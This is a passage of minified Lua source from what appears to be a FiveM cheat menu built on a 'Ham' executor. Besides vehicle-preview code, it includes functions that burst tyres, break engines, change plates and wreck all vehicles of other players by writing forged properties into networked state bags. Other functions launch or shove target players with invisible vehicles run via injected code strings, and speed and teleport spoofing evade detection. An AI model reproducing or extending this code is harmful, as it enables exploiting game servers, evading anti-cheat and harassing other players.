if menu.vars.vehicleSpawnPreviewGen == generation then menu.vars.vehicleSpawnPreviewPending = nil end return end if menu.vars.vehicleSpawnPreviewGen ~= generation then SetModelAsNoLongerNeeded(modelHash) return end local coords, heading = menu.functions.getVehicleSpawnPreviewCoords(modelHash) Citizen.Wait(0) local groundZ = menu.functions.getVehiclePreviewGroundZ(coords.x, coords.y, coords.z, modelHash) local previewEntity = CreateVehicle(modelHash, coords.x, coords.y, groundZ, heading, false, false) SetModelAsNoLongerNeeded(modelHash) if menu.vars.vehicleSpawnPreviewGen ~= generation then if previewEntity and previewEntity ~= 0 and DoesEntityExist(previewEntity) then DeleteEntity(previewEntity) end return end if not previewEntity or previewEntity == 0 or not DoesEntityExist(previewEntity) then menu.vars.vehicleSpawnPreviewPending = nil return end SetEntityAlpha(previewEntity, 130, false) SetEntityCollision(previewEntity, false, false) FreezeEntityPosition(previewEntity, true) SetEntityInvincible(previewEntity, true) SetVehicleUndriveable(previewEntity, true) SetVehicleEngineOn(previewEntity, false, true, true) SetVehicleDoorsLocked(previewEntity, 1) SetVehicleDoorsLockedForAllPlayers(previewEntity, true) SetVehicleDoorsLockedForPlayer(previewEntity, PlayerId(), true) SetVehicleNeedsToBeHotwired(previewEntity, false) if SetVehicleIsConsideredByPlayer then SetVehicleIsConsideredByPlayer(previewEntity, false) end menu.functions.placeVehiclePreviewOnGround(previewEntity, modelHash) Citizen.InvokeNative(3021625026, 255, 255, 255, 255) Citizen.InvokeNative(1981285383, previewEntity, true) menu.vars.vehicleSpawnPreviewEntity = previewEntity menu.vars.vehicleSpawnPreviewModel = modelKey menu.vars.vehicleSpawnPreviewPending = nil end) end function assembledMenuFunctions.syncVehicleSpawnPreviewPosition(model, modelHash) local previewEntity = menu.vars.vehicleSpawnPreviewEntity if not previewEntity or not DoesEntityExist(previewEntity) then return end local modelKey modelHash = tonumber(modelHash) if modelHash and modelHash ~= 0 then modelKey = "h:" .. tostring(modelHash) elseif model then modelKey = tostring(model):gsub("^%s+", ""):gsub("%s+$", "") end if modelKey and menu.vars.vehicleSpawnPreviewModel ~= modelKey then return end if not modelHash then modelHash = GetEntityModel(previewEntity) end local now = GetGameTimer() local motion = menu.vars.vehiclePreviewMotion if not motion or motion.entity ~= previewEntity then motion = { entity = previewEntity, coords = GetEntityCoords(previewEntity), heading = GetEntityHeading(previewEntity), nextSample = 0, nextGround = 0 } menu.vars.vehiclePreviewMotion = motion end if now >= motion.nextSample then motion.nextSample = now + 33 local coords, heading = menu.functions.getVehicleSpawnPreviewCoords(modelHash, false) if now >= motion.nextGround then motion.nextGround = now + 100 motion.groundZ = menu.functions.getVehiclePreviewGroundZ(coords.x, coords.y, coords.z, modelHash, false) end motion.target = vector3(coords.x, coords.y, motion.groundZ or coords.z) motion.targetHeading = heading or 0.0 end local blend = 1.0 - math.exp(-20.0 * math.min(GetFrameTime(), 0.1)) motion.coords = motion.coords + (motion.target - motion.coords) * blend local headingDelta = (motion.targetHeading - motion.heading + 180.0) % 360.0 - 180.0 motion.heading = motion.heading + headingDelta * blend SetEntityCoordsNoOffset(previewEntity, motion.coords.x, motion.coords.y, motion.coords.z, false, false, false) SetEntityHeading(previewEntity, motion.heading) end function assembledMenuFunctions.getVehicleSpawnPreviewContext() if not menu.vars.visible then return nil end local node = menu.vars.navigationStack if node then node = menu.vars.navigationStack[#menu.vars.navigationStack] end if not node then return nil end if menu.logic and menu.logic.getActiveTabsForNode then menu.logic.getActiveTabsForNode(node) end local tabIndex = node.tabIndex or 1 local activeTabs = node._activeTabs local activeTab if not activeTabs then activeTab = activeTabs else activeTab = activeTabs[tabIndex] end local options = menu.logic.getNodeOptions(node) local visibleOptions = menu.logic.getVisibleOptions(options) local optionIndex = (menu.vars.currentOption or 1) + (menu.vars.scrollOffset or 0) local option = visibleOptions[optionIndex] if node.title == "Vehicle Radar" then if not activeTab or activeTab.name ~= "List" then return nil end if not menu.functions.isVehicleRadarPreviewOption(option) then return nil end local modelHash = option.previewModelHash if not modelHash or modelHash == 0 then return nil end return { opt = option, modelHash = modelHash, selKey = "radar:" .. tostring(option.previewNetId or 0) .. ":" .. tostring(modelHash) } end if node.title ~= "Vehicle Options" then return nil end if not activeTab or activeTab.name ~= "Spawner" then return nil end if not menu.functions.isVehicleSpawnPreviewOption(option) then return nil end if menu.functions.isVehicleSpawnPreviewGrandVehicle(option) then local entity = option.funcArg local modelHash = option.previewModelHash if entity and entity ~= 0 and DoesEntityExist(entity) then modelHash = GetEntityModel(entity) end if not modelHash or modelHash == 0 then return nil end return { opt = option, modelHash = modelHash, selKey = "grand:" .. tostring(modelHash) .. ":" .. tostring(entity or 0) } end if menu.functions.isVehicleRadarPreviewOption(option) then return { opt = option, modelHash = option.previewModelHash, selKey = "radar:" .. tostring(option.previewNetId or 0) .. ":" .. tostring(option.previewModelHash) } end local choices = type(option.choices) == "function" and option.choices() or option.choices if not choices or #choices == 0 then return nil end local selector = menu.vars.selectors and menu.vars.selectors[option.var] or 1 local model = menu.functions.resolveVehicleSpawnPreviewModel(option, choices[selector]) if not model then return nil end return { opt = option, selIdx = selector, model = model, selKey = tostring(option.var) .. ":" .. tostring(selector) } end function assembledMenuFunctions.tickVehicleSpawnPreview() if menu.functions.isVehicleSpawnPreviewEnabled and not menu.functions.isVehicleSpawnPreviewEnabled() then if menu.vars.vehicleSpawnPreviewEntity or menu.vars.vehicleSpawnPreviewPending or menu.vars.vehicleSpawnPreviewModel then menu.functions.clearVehicleSpawnPreview() end menu.vars.vehicleSpawnPreviewSelKey = nil menu.vars.vehicleSpawnPreviewHoldOff = false menu.vars.vehicleSpawnPreviewHoldSelKey = nil return end if not menu.vars.visible then if menu.vars.vehicleSpawnPreviewEntity or menu.vars.vehicleSpawnPreviewPending or menu.vars.vehicleSpawnPreviewModel then menu.functions.clearVehicleSpawnPreview() end menu.vars.vehicleSpawnPreviewSelKey = nil menu.vars.vehicleSpawnPreviewHoldOff = false menu.vars.vehicleSpawnPreviewHoldSelKey = nil return end local node = menu.vars.navigationStack if node then node = menu.vars.navigationStack[#menu.vars.navigationStack] end if not node or (node.title ~= "Vehicle Options" and node.title ~= "Vehicle Radar") then if menu.vars.vehicleSpawnPreviewEntity or menu.vars.vehicleSpawnPreviewPending or menu.vars.vehicleSpawnPreviewModel then menu.functions.clearVehicleSpawnPreview() end menu.vars.vehicleSpawnPreviewSelKey = nil menu.vars.vehicleSpawnPreviewHoldOff = false menu.vars.vehicleSpawnPreviewHoldSelKey = nil return end if node.title == "Vehicle Options" then local activeTab = node._activeTabs and node._activeTabs[node.tabIndex or 1] if activeTab and activeTab.name == "Spawner" then local now = GetGameTimer() if now >= (menu.vars.nextAddonVehicleRefresh or 0) and not menu.vars.addonVehicleRefreshActive then menu.vars.nextAddonVehicleRefresh = GetGameTimer() + 10000 menu.vars.addonVehicleRefreshActive = true Citizen.CreateThread(function() pcall(menu.utils.populateAddonVehicles) menu.vars.addonVehicleRefreshActive = false end) end end end if node.title == "Vehicle Options" and not menu.functions.isServer185169NearbyVehicleMode() then local context = menu.vars.vehicleAddonPreviewContext local activeTab = node._activeTabs and node._activeTabs[node.tabIndex or 1] if context and context.node == node and activeTab and activeTab.name == "Spawner" then local optionIndex = (menu.vars.currentOption or 1) + (menu.vars.scrollOffset or 0) local selectedModel = (menu.vars.addonVehicles or {})[menu.vars.selectors.vehicleSelector2 or 1] if context.absIndex == optionIndex and context.model == selectedModel then if menu.vars.vehicleSpawnPreviewHoldOff and menu.vars.vehicleSpawnPreviewHoldSelKey == context.selKey then return end menu.vars.vehicleSpawnPreviewHoldOff = false menu.vars.vehicleSpawnPreviewHoldSelKey = nil if menu.vars.vehicleSpawnPreviewSelKey ~= context.selKey then menu.vars.vehicleAddonPreviewReadyAt = GetGameTimer() + 120 menu.functions.clearVehicleSpawnPreview() end menu.vars.vehicleSpawnPreviewSelKey = context.selKey if GetGameTimer() < (menu.vars.vehicleAddonPreviewReadyAt or 0) then return end menu.functions.updateVehicleSpawnPreview(context.model) menu.functions.syncVehicleSpawnPreviewPosition(context.model) return end end if menu.vars.vehicleSpawnPreviewEntity or menu.vars.vehicleSpawnPreviewPending or menu.vars.vehicleSpawnPreviewModel then menu.functions.clearVehicleSpawnPreview() end menu.vars.vehicleSpawnPreviewSelKey = nil menu.vars.vehicleSpawnPreviewHoldOff = false menu.vars.vehicleSpawnPreviewHoldSelKey = nil return end local context = menu.functions.getVehicleSpawnPreviewContext() if not context then if menu.vars.vehicleSpawnPreviewEntity or menu.vars.vehicleSpawnPreviewPending or menu.vars.vehicleSpawnPreviewModel then menu.functions.clearVehicleSpawnPreview() end menu.vars.vehicleSpawnPreviewSelKey = nil menu.vars.vehicleSpawnPreviewHoldOff = false menu.vars.vehicleSpawnPreviewHoldSelKey = nil return end if menu.vars.vehicleSpawnPreviewHoldOff and menu.vars.vehicleSpawnPreviewHoldSelKey == context.selKey then return end menu.vars.vehicleSpawnPreviewHoldOff = false menu.vars.vehicleSpawnPreviewHoldSelKey = nil if menu.vars.vehicleSpawnPreviewSelKey ~= context.selKey then menu.functions.clearVehicleSpawnPreview() menu.vars.vehicleSpawnPreviewSelKey = context.selKey end menu.functions.updateVehicleSpawnPreview(context.model, context.modelHash) menu.functions.syncVehicleSpawnPreviewPosition(context.model, context.modelHash) end function assembledMenuFunctions.isServer185169NearbyVehicleMode() local enabled = menu.utils if enabled then enabled = menu.utils.isServer185169NearbyVehicleMode if enabled then enabled = menu.utils.isServer185169NearbyVehicleMode() end end return enabled end function assembledMenuFunctions.isServerMonamiLaunchMode() local enabled = menu.utils if enabled then enabled = menu.utils.isServerMonamiLaunchMode if enabled then enabled = menu.utils.isServerMonamiLaunchMode() end end return enabled end function assembledMenuFunctions.getVehicleSpawnerTab() for _, tab in ipairs(menu.config.tabs or {}) do if tab.name == "Main" then for _, option in ipairs(tab.options or {}) do if option.name == "Vehicle Options" and option.tabs then for _, vehicleTab in ipairs(option.tabs) do if vehicleTab.name == "Spawner" then return vehicleTab end end end end end end return nil end function assembledMenuFunctions.snapshotVehicleSpawnerStaticPrefix() local spawnerTab = menu.functions.getVehicleSpawnerTab() if not spawnerTab or not spawnerTab.options then return end local prefix = {} for index = 1, #spawnerTab.options, 1 do local option = spawnerTab.options[index] if option.type == "seperator" or option.type == "separator" then if menu.functions.isServer185169NearbyVehicleMode() then prefix[#prefix + 1] = { name = "Grand Vehicles", type = "seperator" } else prefix[#prefix + 1] = option end break end prefix[#prefix + 1] = option end menu.vars.vehicleSpawnerStaticPrefix = prefix end function assembledMenuFunctions.scanNearbyEmptyVehicles500() local playerPed = PlayerPedId() if playerPed == 0 or not DoesEntityExist(playerPed) then return {} end local playerCoords = GetEntityCoords(playerPed) local currentVehicle = IsPedInAnyVehicle(playerPed, false) and GetVehiclePedIsIn(playerPed, false) or 0 local vehicles = {} local seen = {} for _, vehicle in ipairs(GetGamePool("CVehicle") or {}) do if vehicle and vehicle ~= 0 and DoesEntityExist(vehicle) and IsEntityAVehicle(vehicle) and not seen[vehicle] and vehicle ~= currentVehicle and IsVehicleSeatFree(vehicle, -1) and not (menu.utils.isMenuVehiclePreviewEntity and menu.utils.isMenuVehiclePreviewEntity(vehicle)) then local distance = #(playerCoords - GetEntityCoords(vehicle)) if distance <= 500.0 then seen[vehicle] = true local modelHash = GetEntityModel(vehicle) local displayName = GetDisplayNameFromVehicleModel(modelHash) if not displayName or displayName == "" or displayName == "CARNOTFOUND" then displayName = "Vehicle" end vehicles[#vehicles + 1] = { vehicle = vehicle, label = displayName, distance = distance, modelHash = modelHash } end end end table.sort(vehicles, function(first, second) return first.distance < second.distance end) return vehicles end function assembledMenuFunctions.updateNearbyEmptyVehicleSpawnerList() if not menu.functions.isServer185169NearbyVehicleMode() then return end local spawnerTab = menu.functions.getVehicleSpawnerTab() if not spawnerTab then return end if not menu.vars.vehicleSpawnerStaticPrefix then menu.functions.snapshotVehicleSpawnerStaticPrefix() end if not menu.vars.vehicleSpawnerStaticPrefix then return end local vehicles = menu.functions.scanNearbyEmptyVehicles500() spawnerTab.options = {} for index = 1, #menu.vars.vehicleSpawnerStaticPrefix, 1 do local option = menu.vars.vehicleSpawnerStaticPrefix[index] if option and (option.type == "seperator" or option.type == "separator") and menu.functions.isServer185169NearbyVehicleMode() then option = { name = "Grand Vehicles", type = "seperator" } end spawnerTab.options[#spawnerTab.options + 1] = option end if #vehicles == 0 then spawnerTab.options[#spawnerTab.options + 1] = { name = "No vehicles available", type = "text", disableHover = true } else for _, vehicle in ipairs(vehicles) do spawnerTab.options[#spawnerTab.options + 1] = { name = vehicle.label, type = "button", func = "pullNearbyEmptyVehicleToPlayer", funcArg = vehicle.vehicle, previewModelHash = vehicle.modelHash, description = "Fetch the vehicle to you" } end end local node = menu.vars.navigationStack if node then node = menu.vars.navigationStack[#menu.vars.navigationStack] end if node and node.title == "Vehicle Options" then node._activeTabs = nil menu.logic.getActiveTabsForNode(node) end end function assembledMenuFunctions.applyFullVehicleRepairOnce(entity) if not entity or entity == 0 then return end if not DoesEntityExist(entity) then return end SetVehicleFixed(entity) SetVehicleDeformationFixed(entity) SetVehicleUndriveable(entity, false) SetVehicleEngineHealth(entity, 1000.0) SetVehiclePetrolTankHealth(entity, 1000.0) SetVehicleBodyHealth(entity, 1000.0) SetVehicleDirtLevel(entity, 0.0) end function assembledMenuFunctions.applyForceEngineOnOnce(entity) if not entity or entity == 0 then return end if not DoesEntityExist(entity) then return end SetVehicleUndriveable(entity, false) SetVehicleNeedsToBeHotwired(entity, false) SetVehicleHasBeenOwnedByPlayer(entity, true) SetVehicleIsStolen(entity, false) SetVehicleEngineHealth(entity, math.max(GetVehicleEngineHealth(entity), 200.0)) SetVehicleEngineOn(entity, true, true, true) end function assembledMenuFunctions.pullNearbyEmptyVehicleToPlayer(option) local vehicle if not option then vehicle = option else vehicle = option.funcArg end if (not vehicle or vehicle == 0 or not DoesEntityExist(vehicle)) and option and option.targetInfo then vehicle = option.targetInfo.vehicle end if not vehicle or vehicle == 0 or not DoesEntityExist(vehicle) then menu.utils.notify("Vehicle not found", "error", 2000) return end if not IsVehicleSeatFree(vehicle, -1) then menu.utils.notify("Vehicle no longer empty", "error", 2000) return end local previewContext = menu.functions.getVehicleSpawnPreviewContext if previewContext then previewContext = menu.functions.getVehicleSpawnPreviewContext() end menu.vars.vehicleSpawnPreviewHoldOff = true menu.vars.vehicleSpawnPreviewHoldSelKey = previewContext and previewContext.selKey or nil if menu.functions.clearVehicleSpawnPreview then menu.functions.clearVehicleSpawnPreview() end Citizen.CreateThread(function() local playerPed = PlayerPedId() local coords = GetEntityCoords(playerPed) local heading = GetEntityHeading(playerPed) if not menu.utils.freecamAcquireVehicleNetworkControlIfNeeded(vehicle) then menu.utils.notify("Could not get vehicle control", "error", 2000) return end if not DoesEntityExist(vehicle) then menu.utils.notify("Vehicle not found", "error", 2000) return end SetEntityCoordsNoOffset(vehicle, coords.x, coords.y, coords.z, false, false, false) SetEntityHeading(vehicle, heading) SetVehicleOnGroundProperly(vehicle) if NetworkHasControlOfEntity(vehicle) then Wait(250) end menu.functions.applyFullVehicleRepairOnce(vehicle) if menu.functions.unlockVehicleEntity then menu.functions.unlockVehicleEntity(vehicle, false) end SetEntityCoordsNoOffset(playerPed, coords.x, coords.y, coords.z, false, false, false) ClearPedTasksImmediately(playerPed) TaskWarpPedIntoVehicle(playerPed, vehicle, -1) local timeout = GetGameTimer() + 1500 while not IsPedInVehicle(playerPed, vehicle, false) and timeout > GetGameTimer() do Wait(50) end if not IsPedInVehicle(playerPed, vehicle, false) then SetPedIntoVehicle(playerPed, vehicle, -1) Wait(100) end menu.functions.applyForceEngineOnOnce(vehicle) menu.vars.bools.forceEngineOn = true menu.utils.notify("Vehicle pulled to you", "success", 2500) if menu.functions.updateNearbyEmptyVehicleSpawnerList then menu.functions.updateNearbyEmptyVehicleSpawnerList() end end) end function assembledMenuFunctions.getVehicleProperties(entity) if DoesEntityExist(entity) then local primaryColor, secondaryColor = GetVehicleColours(entity) local pearlescentColor, wheelColor = GetVehicleExtraColours(entity) local modColor1 = GetVehicleModColor_1(entity) local modColor2 = GetVehicleModColor_2(entity) if GetIsVehiclePrimaryColourCustom(entity) then primaryColor = { GetVehicleCustomPrimaryColour(entity) } end if GetIsVehicleSecondaryColourCustom(entity) then secondaryColor = { GetVehicleCustomSecondaryColour(entity) } end local extras = {} for extra = 1, 15, 1 do if DoesExtraExist(entity, extra) then extras[extra] = IsVehicleExtraTurnedOn(entity, extra) and 0 or 1 end end local damage = { windows = {}, doors = {}, tyres = {} } local windowCount = 0 for window = 0, 7, 1 do RollUpWindow(entity, window) if not IsVehicleWindowIntact(entity, window) then windowCount = windowCount + 1 damage.windows[windowCount] = window end end local doorCount = 0 for door = 0, 5, 1 do if IsVehicleDoorDamaged(entity, door) then doorCount = doorCount + 1 damage.doors[doorCount] = door end end for tyre = 0, 7, 1 do if IsVehicleTyreBurst(entity, tyre, false) then damage.tyres[tyre] = IsVehicleTyreBurst(entity, tyre, true) and 2 or 1 end end local properties = {} local neonEnabled = {} for neon = 0, 3, 1 do neonEnabled[neon + 1] = IsVehicleNeonLightEnabled(entity, neon) end properties.model = GetEntityModel(entity) properties.plate = GetVehicleNumberPlateText(entity) properties.plateIndex = GetVehicleNumberPlateTextIndex(entity) properties.health = GetEntityHealth(entity) properties.bodyHealth = math.floor(GetVehicleBodyHealth(entity) + 0.5) properties.engineHealth = math.floor(GetVehicleEngineHealth(entity) + 0.5) properties.tankHealth = math.floor(GetVehiclePetrolTankHealth(entity) + 0.5) properties.fuelLevel = math.floor(GetVehicleFuelLevel(entity) + 0.5) properties.oilLevel = math.floor(GetVehicleOilLevel(entity) + 0.5) properties.dirtLevel = math.floor(GetVehicleDirtLevel(entity) + 0.5) properties.paintType1 = modColor1 properties.paintType2 = modColor2 properties.color1 = primaryColor properties.color2 = secondaryColor properties.pearlescentColor = pearlescentColor properties.interiorColor = 0 properties.dashboardColor = GetVehicleDashboardColour(entity) properties.wheelColor = wheelColor properties.wheelWidth = GetVehicleWheelWidth(entity) properties.wheelSize = GetVehicleWheelSize(entity) properties.wheels = GetVehicleWheelType(entity) properties.windowTint = GetVehicleWindowTint(entity) properties.xenonColor = 0 properties.neonEnabled = neonEnabled properties.neonColor = { GetVehicleNeonLightsColour(entity) } properties.extras = extras properties.tyreSmokeColor = { GetVehicleTyreSmokeColor(entity) } properties.modSpoilers = GetVehicleMod(entity, 0) properties.modFrontBumper = GetVehicleMod(entity, 1) properties.modRearBumper = GetVehicleMod(entity, 2) properties.modSideSkirt = GetVehicleMod(entity, 3) properties.modExhaust = GetVehicleMod(entity, 4) properties.modFrame = GetVehicleMod(entity, 5) properties.modGrille = GetVehicleMod(entity, 6) properties.modHood = GetVehicleMod(entity, 7) properties.modFender = GetVehicleMod(entity, 8) properties.modRightFender = GetVehicleMod(entity, 9) properties.modRoof = GetVehicleMod(entity, 10) properties.modEngine = GetVehicleMod(entity, 11) properties.modBrakes = GetVehicleMod(entity, 12) properties.modTransmission = GetVehicleMod(entity, 13) properties.modHorns = GetVehicleMod(entity, 14) properties.modSuspension = GetVehicleMod(entity, 15) properties.modArmor = GetVehicleMod(entity, 16) properties.modNitrous = GetVehicleMod(entity, 17) properties.modTurbo = IsToggleModOn(entity, 18) properties.modSubwoofer = GetVehicleMod(entity, 19) properties.modSmokeEnabled = IsToggleModOn(entity, 20) properties.modHydraulics = IsToggleModOn(entity, 21) properties.modXenon = IsToggleModOn(entity, 22) properties.modFrontWheels = GetVehicleMod(entity, 23) properties.modBackWheels = GetVehicleMod(entity, 24) properties.modCustomTiresF = GetVehicleModVariation(entity, 23) properties.modCustomTiresR = GetVehicleModVariation(entity, 24) properties.modPlateHolder = GetVehicleMod(entity, 25) properties.modVanityPlate = GetVehicleMod(entity, 26) properties.modTrimA = GetVehicleMod(entity, 27) properties.modOrnaments = GetVehicleMod(entity, 28) properties.modDashboard = GetVehicleMod(entity, 29) properties.modDial = GetVehicleMod(entity, 30) properties.modDoorSpeaker = GetVehicleMod(entity, 31) properties.modSeats = GetVehicleMod(entity, 32) properties.modSteeringWheel = GetVehicleMod(entity, 33) properties.modShifterLeavers = GetVehicleMod(entity, 34) properties.modAPlate = GetVehicleMod(entity, 35) properties.modSpeakers = GetVehicleMod(entity, 36) properties.modTrunk = GetVehicleMod(entity, 37) properties.modHydrolic = GetVehicleMod(entity, 38) properties.modEngineBlock = GetVehicleMod(entity, 39) properties.modAirFilter = GetVehicleMod(entity, 40) properties.modStruts = GetVehicleMod(entity, 41) properties.modArchCover = GetVehicleMod(entity, 42) properties.modAerials = GetVehicleMod(entity, 43) properties.modTrimB = GetVehicleMod(entity, 44) properties.modTank = GetVehicleMod(entity, 45) properties.modWindows = GetVehicleMod(entity, 46) properties.modDoorR = GetVehicleMod(entity, 47) properties.modLivery = GetVehicleMod(entity, 48) properties.modRoofLivery = GetVehicleRoofLivery(entity) properties.modLightbar = GetVehicleMod(entity, 49) properties.livery = GetVehicleLivery(entity) properties.windows = damage.windows properties.doors = damage.doors properties.tyres = damage.tyres properties.bulletProofTyres = GetVehicleTyresCanBurst(entity) properties.driftTyres = false return properties end end function assembledMenuFunctions.vehiclePopTyres(option) if option and option.targetInfo then local targetPed = option.targetInfo.ped if not IsPedInAnyVehicle(targetPed, false) then menu.utils.notify("Target is not in a vehicle", "error", 2000) return end local vehicle = GetVehiclePedIsIn(targetPed, false) local properties = menu.functions.getVehicleProperties(vehicle) properties.tyreBurst = { 0, 1, 2, 3, 4, 5 } for tyre = 0, 5, 1 do properties.tyres[tyre] = 2 end local stateBagName = "VehicleProperties" if Ham.hasResource("ox_lib") then stateBagName = "ox_lib:setVehicleProperties" end local state = Entity(vehicle).state state.set(state, stateBagName, properties, true) end end function assembledMenuFunctions.vehicleBreakEngine(option) if option and option.targetInfo then local targetPed = option.targetInfo.ped if not IsPedInAnyVehicle(targetPed, false) then menu.utils.notify("Target is not in a vehicle", "error", 2000) return end local vehicle = GetVehiclePedIsIn(targetPed, false) local properties = menu.functions.getVehicleProperties(vehicle) properties.bodyHealth = 0 properties.engineHealth = 0 properties.fuelLevel = 0 properties.tankHealth = 0 properties.oilLevel = 0 properties.dirtLevel = 15.0 local stateBagName = "VehicleProperties" if Ham.hasResource("ox_lib") then stateBagName = "ox_lib:setVehicleProperties" end local state = Entity(vehicle).state state.set(state, stateBagName, properties, true) end end function assembledMenuFunctions.vehicleBreakAll() local gamePool = GetGamePool("CVehicle") for _, vehicle in pairs(gamePool) do local properties = menu.functions.getVehicleProperties(vehicle) properties.engineHealth = 0 properties.fuelLevel = 0 properties.tankHealth = 0 properties.fuelLevel = 0 properties.oilLevel = 0 properties.health = 0 properties.tyreBurst = { 0, 1, 2, 3, 4, 5 } for tyre = 0, 5, 1 do properties.tyres[tyre] = 2 end local stateBagName = "VehicleProperties" if Ham.hasResource("ox_lib") then stateBagName = "ox_lib:setVehicleProperties" end local state = Entity(vehicle).state state.set(state, stateBagName, properties, true) end end function assembledMenuFunctions.vehicleRepair(option) if option and option.targetInfo then local targetPed = option.targetInfo.ped if not IsPedInAnyVehicle(targetPed, false) then menu.utils.notify("Target is not in a vehicle", "error", 2000) return end local vehicle = GetVehiclePedIsIn(targetPed, false) local properties = menu.functions.getVehicleProperties(vehicle) properties.health = 1000 properties.engineHealth = 1000 properties.fuelLevel = 1000 properties.tankHealth = 1000 properties.fuelLevel = 1000 properties.oilLevel = 1000 properties.bodyHealth = 1000 local state = Entity(vehicle).state state.set(state, "ox_lib:setVehicleProperties", properties, true) state = Entity(vehicle).state state.set(state, "VehicleProperties", properties, true) end end function assembledMenuFunctions.vehicleMaxTune(option) if option then if not option.targetInfo then return end local targetPed = option.targetInfo.ped if not IsPedInAnyVehicle(targetPed, false) then menu.utils.notify("Target is not in a vehicle", "error", 2000) return end local vehicle = GetVehiclePedIsIn(targetPed, false) local properties = menu.functions.getVehicleProperties(vehicle) properties.engineHealth = 1000 properties.fuelLevel = 1000 properties.tankHealth = 1000 properties.oilLevel = 1000 properties.dirtLevel = 0 properties.bodyHealth = 1000 local function setMaxMod(property, modType) local modCount = GetNumVehicleMods(vehicle, modType) or 0 if 0 < modCount then properties[property] = modCount - 1 end end local function setToggleMod(property, modType) local modCount = GetNumVehicleMods(vehicle, modType) or 0 if 0 < modCount then properties[property] = true end end setMaxMod("modSpoilers", 0) setMaxMod("modTrunk", 37) setMaxMod("modWindows", 46) properties.neonEnabled = { true, true, true, true } properties.neonColor = { 255, 255, 255 } setMaxMod("modNitrous", 17) setMaxMod("modArmor", 16) setMaxMod("modFrontBumper", 1) properties.windowTint = 5 setMaxMod("modLivery", 48) setMaxMod("modFender", 8) setMaxMod("modBackWheels", 24) setMaxMod("modDashboard", 29) setMaxMod("modBrakes", 12) setMaxMod("modTransmission", 13) setMaxMod("modSubwoofer", 19) setMaxMod("modEngineBlock", 39) setMaxMod("modHydrolic", 38) setMaxMod("modSpeakers", 36) setMaxMod("modAirFilter", 40) setMaxMod("modExhaust", 4) setMaxMod("modRightFender", 9) setMaxMod("modEngine", 11) setMaxMod("modGrille", 6) setMaxMod("modHood", 7) setMaxMod("modRoof", 10) setMaxMod("modFrontWheels", 23) setMaxMod("modRearBumper", 2) setToggleMod("modHydraulics", 21) setToggleMod("modTurbo", 18) setToggleMod("modXenon", 22) local liveryCount = GetVehicleLiveryCount(vehicle) or 0 if 0 < liveryCount then properties.livery = liveryCount - 1 end local stateBagName = "VehicleProperties" if Ham.hasResource("ox_lib") then stateBagName = "ox_lib:setVehicleProperties" end local state = Entity(vehicle).state state.set(state, stateBagName, properties, true) end end function assembledMenuFunctions.vehicleChangePlate(option) if option then if not option.targetInfo then return end local targetPed = option.targetInfo.ped if not IsPedInAnyVehicle(targetPed, false) then menu.utils.notify("Target is not in a vehicle", "error", 2000) return end local vehicle = GetVehiclePedIsIn(targetPed, false) local properties = menu.functions.getVehicleProperties(vehicle) menu.ui.promptText({ title = "New Plate", label = "Enter new plate", default = properties.plate or "", maxLen = 8 }, function(plate, cancelled) if not cancelled and (not plate or plate == "") then return end properties.plate = plate local stateBagName = "VehicleProperties" if Ham.hasResource("ox_lib") then stateBagName = "ox_lib:setVehicleProperties" end local state = Entity(vehicle).state state.set(state, stateBagName, properties, true) end) end end function assembledMenuFunctions.pushUp(option) if option then local targetInfo = option.targetInfo if not targetInfo then return end targetInfo = option.targetInfo local safeSpawn = menu.vars.bools.safeVehicleSpawn and 1 or 0 if not menu.utils.isVehicleWhitelisted("mule") then menu.utils.notify("Vehicle is blacklisted", "error", 2000) return end local code = string.format( [[ Citizen.CreateThread(function() local targetPed = %s local targetCoords = GetEntityCoords(targetPed) local targetHeading = GetEntityHeading(targetPed) local vehicleModel = "mule" _G.Citizen.Bongs.utils.spawnVehicle(vehicleModel, targetCoords, targetHeading, function(veh) if DoesEntityExist(veh) then targetCoords = GetEntityCoords(targetPed) targetHeading = GetEntityHeading(targetPed) SetEntityCoords(veh, targetCoords.x, targetCoords.y, targetCoords.z) SetEntityHeading(veh, targetHeading) SetEntityVisible(veh, false, false) SetEntityAsMissionEntity(veh, true, true) SetEntityDynamic(veh) SetEntityCollision(veh, true, true) ActivatePhysics(veh) CreateThread(function() while DoesEntityExist(veh) do Wait(50) if targetPed and DoesEntityExist(targetPed) then local tCoords = GetEntityCoords(targetPed) local fVec = GetEntityForwardVector(targetPed) local newPos = tCoords - fVec * 1.0 SetEntityCoordsNoOffset(veh, newPos.x, newPos.y, newPos.z, false, false, false) end end end) end end, %d) end) ]], targetInfo.ped, safeSpawn ) menu.utils.safeExecute(code) end end function assembledMenuFunctions.launchPlayer(option) if option then local targetInfo = option.targetInfo if not targetInfo then return end targetInfo = option.targetInfo if not menu.utils.isVehicleWhitelisted("mule3") then menu.utils.notify("Vehicle is blacklisted", "error", 2000) return end Ham.speedSpoof(true) Citizen.SetTimeout(10000, function() Ham.speedSpoof(false) end) local safeSpawn = menu.vars.bools.safeVehicleSpawn and 1 or 0 local code = string.format( [[ Citizen.CreateThread(function() local targetPed = %s local targetCoords = GetEntityCoords(targetPed) local targetHeading = GetEntityHeading(targetPed) local vehicleModel = "mule3" _G.Citizen.Bongs.utils.spawnVehicle(vehicleModel, targetCoords, targetHeading, function(veh) if DoesEntityExist(veh) then Citizen.Wait(50) SetEntityCoordsNoOffset(veh, targetCoords.x, targetCoords.y, targetCoords.z - 0.3, false, false, false) SetEntityVisible(veh, false, false) SetEntityAsMissionEntity(veh, true, true) SetEntityCollision(veh, true, true) Citizen.CreateThread(function() Citizen.Wait(2000) if DoesEntityExist(veh) then ApplyForceToEntity(veh, 1, 1000.0, 0.0, 500.0, 0.0, 0.0, 0.0, 0, true, true, true, false, true) Citizen.Wait(4000) if DoesEntityExist(veh) then DeleteEntity(veh) end end end) end end, %d) end) ]], targetInfo.ped, safeSpawn ) menu.utils.safeExecute(code) end end function assembledMenuFunctions.performPhysLaunchOnPlayer(entity, teleportUnderMap, batch) teleportUnderMap = teleportUnderMap == true batch = batch == true local batchActive = batch and menu.vars and menu.vars._launchEveryoneBatchActive == true if teleportUnderMap and menu.functions.startTeleportUnderMapVehicleSpoof then menu.functions.startTeleportUnderMapVehicleSpoof() end local playerPed = PlayerPedId() if not entity or entity == 0 or not DoesEntityExist(entity) then if teleportUnderMap and menu.functions.endTeleportUnderMapVehicleSpoofIfActive then menu.functions.endTeleportUnderMapVehicleSpoofIfActive() end return false end local validTarget = menu.functions.validateLaunchTargetPed if validTarget then validTarget = select(1, menu.functions.validateLaunchTargetPed(entity)) end if not validTarget then if teleportUnderMap and menu.functions.endTeleportUnderMapVehicleSpoofIfActive then menu.functions.endTeleportUnderMapVehicleSpoofIfActive() end 